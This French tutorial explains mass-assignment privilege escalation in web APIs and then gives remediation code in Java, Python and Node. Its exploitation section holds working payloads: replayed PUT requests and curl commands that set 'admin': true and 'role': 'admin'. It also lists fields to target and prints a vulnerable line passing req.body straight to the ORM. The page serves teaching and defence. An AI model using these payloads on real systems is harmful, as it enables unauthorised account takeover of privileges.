Mass assignment : élévation de droits par surcharge de propriétés
Certaines API retournent dans leurs réponses bien plus d’attributs qu’elles ne devraient — y compris des champs internes comme admin, role ou verified. Si le serveur accepte ces mêmes attributs en entrée lors d’une mise à jour de compte, il suffit de rejouer la requête en forçant leur valeur pour modifier son propre niveau d’accès.
Le problème
Section titled “Le problème”Le scénario classique : un utilisateur met à jour son profil. La requête est interceptée dans Burp Suite ou les DevTools. La réponse du serveur révèle des champs qui ne devraient pas être visibles côté client.
Réponse trop verbeuse
Section titled “Réponse trop verbeuse”HTTP/1.1 200 OK
{ "id": 42, "username": "utilisateur", "email": "utilisateur@exemple.fr", "created_at": "2024-01-15T10:23:00Z", "admin": false, "role": "user", "verified": true, "account_locked": false}Les champs admin, role et account_locked n’ont aucune raison d’apparaître dans la réponse d’une mise à jour de profil. Leur présence indique que le serveur sérialise directement l’objet interne sans filtrage.
Requête de mise à jour initiale
Section titled “Requête de mise à jour initiale”PUT /api/users/me HTTP/1.1Host: exemple.frAuthorization: Bearer eyJhbGci...Content-Type: application/json
{ "email": "nouvel-email@exemple.fr"}Exploitation
Section titled “Exploitation”1. Intercepter et analyser la réponse
Section titled “1. Intercepter et analyser la réponse”Dans Burp Suite, onglet Proxy → HTTP history : repérer la requête de mise à jour et lire la réponse complète. Dans les DevTools du navigateur, onglet Network → sélectionner la requête → Response.
Identifier les attributs sensibles exposés : admin, role, is_staff, permissions, verified, account_locked.
2. Rejouer la requête en surchargeant les attributs
Section titled “2. Rejouer la requête en surchargeant les attributs”PUT /api/users/me HTTP/1.1Host: exemple.frAuthorization: Bearer eyJhbGci...Content-Type: application/json
{ "email": "nouvel-email@exemple.fr", "admin": true, "role": "admin"}Si le serveur ne filtre pas les champs en entrée et passe directement le corps de la requête à son ORM ou à sa couche de persistance, les attributs admin et role sont mis à jour.
3. Vérifier l’élévation
Section titled “3. Vérifier l’élévation”GET /api/users/me HTTP/1.1Authorization: Bearer eyJhbGci...{ "id": 42, "username": "utilisateur", "admin": true, "role": "admin"}L’accès aux endpoints d’administration, aux données des autres utilisateurs ou aux fonctionnalités réservées est maintenant disponible avec le même token.
Tester avec curl
Section titled “Tester avec curl”# Requête normalecurl -s -X PUT https://exemple.fr/api/users/me \ -H "Authorization: Bearer TOKEN" \ -H "Content-Type: application/json" \ -d '{"email": "test@exemple.fr"}' | jq .
# Requête avec surchargecurl -s -X PUT https://exemple.fr/api/users/me \ -H "Authorization: Bearer TOKEN" \ -H "Content-Type: application/json" \ -d '{"email": "test@exemple.fr", "admin": true, "role": "admin"}' | jq .Ce qu’on peut chercher
Section titled “Ce qu’on peut chercher”Les attributs sensibles varient selon la technologie et le métier de l’application :
admin → true/falserole → "user", "moderator", "admin", "superadmin"is_staff → true/false (Django)permissions → ["read", "write", "delete"]verified → true/falsecredits → 0balance → 0account_locked → true/falsesubscription → "free", "premium", "enterprise"Tester aussi les requêtes de création de compte (POST /api/users/register) et les mises à jour de mot de passe — ces endpoints sont souvent encore moins protégés que la mise à jour de profil.
Remédiation
Section titled “Remédiation”Utiliser des DTOs (Data Transfer Objects)
Section titled “Utiliser des DTOs (Data Transfer Objects)”Un DTO définit explicitement les champs acceptés en entrée. Tout ce qui ne figure pas dans le DTO est ignoré, même si le client l’envoie.
Java (Spring) :
// DTO : seuls les champs autorisés sont exposéspublic class UpdateProfileDTO { private String email; private String username; // pas de champ admin, role, verified}
@PutMapping("/users/me")public ResponseEntity<?> updateProfile( @RequestBody UpdateProfileDTO dto, @AuthenticationPrincipal User currentUser) { currentUser.setEmail(dto.getEmail()); currentUser.setUsername(dto.getUsername()); // admin et role ne sont jamais touchés userRepository.save(currentUser); return ResponseEntity.ok(new UserResponseDTO(currentUser));}Python (Django REST Framework) :
class UpdateProfileSerializer(serializers.ModelSerializer): class Meta: model = User fields = ['email', 'username'] # liste blanche explicite # admin, is_staff, is_superuser ne sont pas dans fieldsNode.js (Express) :
// Extraire uniquement les champs autorisésconst allowedFields = ['email', 'username'];const updateData = Object.fromEntries( Object.entries(req.body).filter(([key]) => allowedFields.includes(key)));
await User.findByIdAndUpdate(req.user.id, updateData);Appliquer le principe de liste blanche en entrée ET en sortie
Section titled “Appliquer le principe de liste blanche en entrée ET en sortie”Deux DTOs distincts pour éviter toute fuite :
// DTO en entrée — ce que le client peut modifierpublic class UpdateProfileDTO { private String email; private String username;}
// DTO en sortie — ce que le client peut voirpublic class UserResponseDTO { private Long id; private String username; private String email; // admin et role absent — pas visibles dans la réponse}La réponse ne doit jamais exposer d’attributs que le client ne peut pas légitimement modifier. Si admin n’apparaît pas dans la réponse, il ne peut pas être identifié comme cible.
Ne jamais passer le corps de la requête directement à l’ORM
Section titled “Ne jamais passer le corps de la requête directement à l’ORM”// Vulnérable — tout le body est passé à l'ORMawait User.findByIdAndUpdate(req.user.id, req.body);
// Correct — extraction expliciteconst { email, username } = req.body;await User.findByIdAndUpdate(req.user.id, { email, username });À retenir
Section titled “À retenir”La verbosité d’une réponse API renseigne un attaquant sur le modèle de données interne. Un champ visible en sortie peut souvent être soumis en entrée si le serveur ne distingue pas les deux. La protection repose sur des DTOs distincts en entrée et en sortie — jamais sur la confiance que le client n’enverra que les champs attendus.